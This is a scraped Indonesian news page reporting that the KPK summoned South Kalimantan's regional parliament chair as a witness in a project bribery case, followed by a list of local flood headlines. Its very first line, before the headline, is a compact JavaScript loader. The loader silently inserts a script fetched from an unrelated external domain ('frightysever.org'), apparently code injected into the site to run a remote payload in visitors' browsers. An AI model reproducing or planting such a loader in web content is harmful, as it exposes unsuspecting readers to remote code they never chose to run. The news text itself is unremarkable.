(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPK Panggil Ketua DPRD Kalsel Saksi Kasus Suap Proyek


KANALKALIMANTAN.COM, JAKARTA – Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap Ketua DPRD Kalimantan Selatan (Kalsel) Supian HK, Selasa (19/11/2024). Politisi dari Partai Golkar ini hendak dimintai keterangan sebagai saksi dalam kasus dugaan suap terkait pengerjaan proyek di Pemprov Kalsel.

“Pemeriksaan dilakukan di Gedung KPK Merah Putih,” kata Juru Bicara KPK, Tessa Mahardhika.

KPK belum membeberkan detail materi yang hendak didalami lewat pemanggilan pihak tersebut. Materi tersebut akan disampaikan KPK ketika yang bersangkutan hadir dan agenda pemeriksaan telah rampung.

Baca juga: CEK FAKTA: Pernyataan Rahmadian Noor soal Terlambatnya Sebaran Pupuk dan Kontribusi Batola 20% terhadap Produksi Beras di Kalsel

Belum diketahui pukul berapa Ketua DPRD Kalsel Supian HK datang ke KPK untuk memenuhi panggilan terkait kasus suap proyek.

Sebelumnya, KPK sejatinya menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor, Senin (18/11/2024). Sahbirin Noor hendik dimintai keterangan sebagai saksi dalam kasus dugaan suap terkait proyek di lingkungan Pemprov Kalsel.

Namun, sosok yang akrab disapa Paman Birin itu tidak memenuhi panggilan KPK. Sahbirin Noor juga tidak menyampaikan keterangan kepada lembaga antikorupsi itu soal ketidakhadirannya.

Baca juga: UIN Antasari Banjarmasin Resmi Terakreditasi A

“Iya info yang kami dapatkan dari penyidik bahwa saudara SN hari ini tidak hadir dan tidak menyampaikan alasan atas ketidakhadirannya,” kata Juru Bicara KPK, Tessa Mahardhika di Jakarta, Senin (18/11/2024).

KPK meminta Sahbirin Noor bersikap kooperatif dengan memenuhi panggilan tim penyidik pada waktu berikutnya. Namun, KPK belum menyampaikan secara resmi terkait penjadwalan ulang atas pemanggilan Sahbirin.

“KPK berharap saudara SN dapat kooperatif dan bisa kembali hadir dalam panggilan yang akan dilayangkan, panggilan kedua ya oleh penyidik. Semoga saudara SN bisa kooperatif hadir,” ujar Tessa.

Sahbirin Noor sebelumnya turut menjadi tersangka dalam kasus tersebut. Hanya saja, permohonan praperadilan Sahbirin dikabulkan hakim PN Jaksel, sehingga status tersangkanya gugur. (Beritasatu.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Penyakit Kulit Hinggapi Warga Terdampak Banjir, Puskesmas Liang Anggang Turunkan Tim Gerak Cepat

KANALKALIMANTAN.COM, BANJARBARU - Masalah kesehatan ancam warga terdampak banjir di Pangayuan Kelurahan Landasan Ulin Selatan,… Read More

8 jam ago

TP PKK Banjar Kunjungi dan Bantu Korban Banjir di Beberapa Desa di 4 Kecamatan

KANALKALIMANTAN.COM, MARTAPURA - Berjalan kaki melewati genangan air Ketua Tim Penggerak PKK Kabupaten Banjar Hj… Read More

10 jam ago

Banjir Masih Rendam Pemurus Dalam, Hadirkan Lubang-lubang Rusak Jalan

KANALKALIMANTAN.COM, BANJARMASIN - Banjir akibat curah hujan tinggi masih terjadi di beberapa wilayah Kota Banjarmasin,… Read More

12 jam ago

Banjir di Pengayuan Dicek Plh Sekda Kalsel dan Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Kawasan banjir di Pangayuan, Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang mendapat… Read More

15 jam ago

Hujan Lebat Diprediksi akan Terus Terjadi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Hujan dengan intensitas tinggi di wilayah Kalimantan Selatan (Kalsel) diperkirakan masih akan… Read More

16 jam ago

Saidi Mansyur Kukuhkan Pengurus LPTQ Kabupaten Banjar Periode 2023 – 2026

KANALKALIMANTAN.COM, MARTAPURA - Habib Idrus Al Habsyi dikukuhkan ssbagai Ketua Umum Lembaga Pengembangan Tilawatil Quran… Read More

16 jam ago

This website uses cookies.